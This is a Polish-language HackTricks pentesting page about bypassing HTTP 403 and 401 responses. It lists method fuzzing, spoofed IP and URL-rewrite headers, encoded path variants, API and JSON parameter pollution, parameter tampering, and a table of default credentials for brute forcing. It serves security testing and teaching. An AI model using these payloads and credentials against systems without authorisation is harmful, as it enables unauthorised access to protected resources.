hacktricks/network-services-pentesting/pentesting-web/403-and-401-bypasses.md

9.3 KiB
Raw Blame History

Bypassy 403 i 401

Zacznij od zera i stań się ekspertem AWS z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Natychmiastowe dostępne narzędzie do oceny podatności i testów penetracyjnych. Uruchom pełne testy penetracyjne z dowolnego miejsca za pomocą ponad 20 narzędzi i funkcji, które obejmują od rozpoznania po raportowanie. Nie zastępujemy testerów penetracyjnych - rozwijamy niestandardowe narzędzia, moduły wykrywania i eksploatacji, aby umożliwić im zagłębienie się głębiej, zdobycie powłok i dobrą zabawę.

{% embed url="https://pentest-tools.com/" %}

Fuzzowanie Metod/Werbsów HTTP

Spróbuj użyć różnych werbów do dostępu do pliku: GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK

  • Sprawdź nagłówki odpowiedzi, być może zawierają jakieś informacje. Na przykład odpowiedź 200 na HEAD z Content-Length: 55 oznacza, że werb HEAD może uzyskać dostęp do informacji. Nadal jednak trzeba znaleźć sposób na wydostanie tych informacji.
  • Użycie nagłówka HTTP takiego jak X-HTTP-Method-Override: PUT może nadpisać użyty werb.
  • Użyj werbu TRACE i jeśli masz szczęście, być może w odpowiedzi zobaczysz również nagłówki dodane przez pośrednie serwery proxy, które mogą być przydatne.

Fuzzowanie Nagłówków HTTP

  • Zmień nagłówek Host na jakąś arbitralną wartość (co zadziałało tutaj)

  • Spróbuj użyć innych agentów użytkownika do dostępu do zasobu.

  • Fuzzuj Nagłówki HTTP: Spróbuj użyć Nagłówków Proxy Headers, podstawowej autentykacji HTTP i próby siłowej NTLM (tylko z kilkoma kombinacjami) oraz inne techniki. Do tego celu stworzyłem narzędzie fuzzhttpbypass.

  • X-Originating-IP: 127.0.0.1

  • X-Forwarded-For: 127.0.0.1

  • X-Forwarded: 127.0.0.1

  • Forwarded-For: 127.0.0.1

  • X-Remote-IP: 127.0.0.1

  • X-Remote-Addr: 127.0.0.1

  • X-ProxyUser-Ip: 127.0.0.1

  • X-Original-URL: 127.0.0.1

  • Client-IP: 127.0.0.1

  • True-Client-IP: 127.0.0.1

  • Cluster-Client-IP: 127.0.0.1

  • X-ProxyUser-Ip: 127.0.0.1

  • Host: localhost

Jeśli ścieżka jest chroniona, można spróbować ominąć ochronę ścieżki, używając tych innych nagłówków:

  • X-Original-URL: /admin/console
  • X-Rewrite-URL: /admin/console
  • Jeśli strona jest za proxy, być może to proxy uniemożliwia dostęp do prywatnych informacji. Spróbuj nadużyć Podwójnego Przesyłania Żądań HTTP lub nagłówków hop-by-hop.
  • Fuzzuj specjalne nagłówki HTTP, szukając różnych odpowiedzi.
  • Fuzzuj specjalne nagłówki HTTP podczas fuzzowania Metod HTTP.
  • Usuń nagłówek Host i być może uda ci się ominąć ochronę.

Fuzzowanie Ścieżki

Jeśli /ścieżka jest zablokowana:

  • Spróbuj użyć /%2e/ścieżka _(jeśli dostęp jest blokowany przez proxy, to może ominąć ochronę). Spróbuj również_** /%252e**/ścieżka (podwójne kodowanie URL)
  • Spróbuj ominięcia Unicode: /%ef%bc%8fścieżka (Zakodowane znaki URL są jak "/"), więc po zdekodowaniu będzie to //ścieżka i być może już ominąłeś sprawdzanie nazwy /ścieżka
  • Inne omijania ścieżki:
  • site.com/secret > HTTP 403 Forbidden
  • site.com/SECRET > HTTP 200 OK
  • site.com/secret/ > HTTP 200 OK
  • site.com/secret/. > HTTP 200 OK
  • site.com//secret// > HTTP 200 OK
  • site.com/./secret/.. > HTTP 200 OK
  • site.com/;/secret > HTTP 200 OK
  • site.com/.;/secret > HTTP 200 OK
  • site.com//;//secret > HTTP 200 OK
  • site.com/secret.json > HTTP 200 OK (ruby)
  • Użyj całej tej listy w następujących sytuacjach:
  • /FUZZsecret
  • /FUZZ/secret
  • /secretFUZZ
  • Inne omijania API:
  • /v3/users_data/1234 --> 403 Forbidden
  • /v1/users_data/1234 --> 200 OK
  • {“id”:111} --> 401 Nieautoryzowany
  • {“id”:[111]} --> 200 OK
  • {“id”:111} --> 401 Nieautoryzowany
  • {“id”:{“id”:111}} --> 200 OK
  • {"user_id":"<legit_id>","user_id":"<victims_id>"} (Zanieczyszczenie Parametru JSON)
  • user_id=ATTACKER_ID&user_id=VICTIM_ID (Zanieczyszczenie Parametru)

Manipulacja parametrami

  • Zmień wartość parametru: Z id=123 --> id=124
  • Dodaj dodatkowe parametry do adresu URL: ?id=124 —-> id=124&isAdmin=true
  • Usuń parametry
  • Zmień kolejność parametrów
  • Użyj znaków specjalnych.
  • Przeprowadź testowanie granic w parametrach — podaj wartości takie jak -234 lub 0 lub 99999999 (tylko przykładowe wartości).

Wersja protokołu

Jeśli używasz HTTP/1.1, spróbuj użyć 1.0 lub nawet sprawdź, czy obsługuje 2.0.

Inne sposoby ominięcia

  • Pobierz IP lub CNAME domeny i spróbuj się z nią bezpośrednio skontaktować.
  • Spróbuj obciążyć serwer wysyłając zwykłe żądania GET (To zadziałało dla tego gościa z Facebookiem).
  • Zmień protokół: z http na https, lub z https na http
  • Przejdź do https://archive.org/web/ i sprawdź, czy w przeszłości ten plik był dostępny na całym świecie.

Atak siłowy

  • Zgadnij hasło: Wypróbuj następujące powszechne dane uwierzytelniające. Czy wiesz coś o ofierze? Lub nazwie wyzwania CTF?
  • Atak siłowy: Wypróbuj podstawowe, digest i uwierzytelnianie NTLM.

{% code title="Powszechne dane uwierzytelniające" %}

admin    admin
admin    password
admin    1234
admin    admin1234
admin    123456
root     toor
test     test
guest    guest

{% endcode %}

Automatyczne narzędzia

Natychmiastowa konfiguracja dostępna do oceny podatności i testów penetracyjnych. Uruchom pełne testy penetracyjne z dowolnego miejsca za pomocą ponad 20 narzędzi i funkcji, które obejmują od rozpoznania po raportowanie. Nie zastępujemy testerów penetracyjnych - rozwijamy niestandardowe narzędzia, moduły wykrywania i eksploatacji, aby umożliwić im zagłębienie się głębiej, zdobycie powłok i dobrą zabawę.

{% embed url="https://pentest-tools.com/" %}

Zacznij od zera i zostań ekspertem w hakowaniu AWS z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks: